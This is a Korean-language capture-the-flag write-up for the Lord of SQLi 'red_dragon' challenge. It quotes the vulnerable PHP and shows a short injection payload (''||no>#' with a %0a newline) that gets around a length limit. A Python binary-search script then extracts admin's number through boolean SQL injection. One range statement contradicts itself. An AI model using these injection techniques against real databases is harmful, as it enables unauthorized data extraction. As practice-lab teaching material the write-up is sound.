$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
이번 문제는 admin의 no 값과 공격 백터인 no 값이 일치해야 문제를 클리어할 수 있는 문제이다.
$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
admin의 no를 구하기 위해선 첫번째 쿼리문에 SQLi를 시도하여 획득해야한다. 하지만 id는 7글자 이하로 제한이 되어 있으며, no는 숫자만 입력 가능하여 Union SQLi와 같은 길이가 긴 SQLi는 힘들어 보인다.
일단 나는 guest, admin가 있는지 확인한 결과 admin 밖에 없다는 것을 알 수 있었다.
SELECT id FROM prob_red_dragon WHERE id=''||no>1#' and no=1
나는 위와 같은 쿼리문을 생각할 수 있었다. 하지만 id의 길이 제한 때문에 no> 뒤에 숫자를 넣을 수가 없었다.
SELECT id FROM prob_red_dragon WHERE id=''||no>#' and no=
1000
그러나 위와 같이 줄바꿈 %0a을 통해 no>뒤에 숫자를 넣어 줄 수 있다. 이를 통해 admin의 no 크기를 대략적으로 구해볼 것이다.
대략적으로 구해본 결과 admin의 no는 1000000000 < no < 1000000000이라는 범위를 가진다는 것을 알 수 있었다. 나는 이진탐색을 통하여 좀 더 세부적으로 구해봤다.
import requests
def sqli(size):
url = 'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php'
cookies = {'PHPSESSID':'jh9pc0doe2uqfsabv1rle1eptl'}
parameter = f'?id=%27||no>%23&no=%0a{size}'
response = requests.get(url+parameter, cookies=cookies)
return response.text
def binary_search_recursion(start, end):
if start > end:
return start
mid = (start + end) // 2
result = sqli(mid)
if "Hello admin" in result:
start = mid + 1
else:
end = mid - 1
return binary_search_recursion(start, end)
if __name__ == '__main__':
result = binary_search_recursion(100000000, 1000000000)
print(result)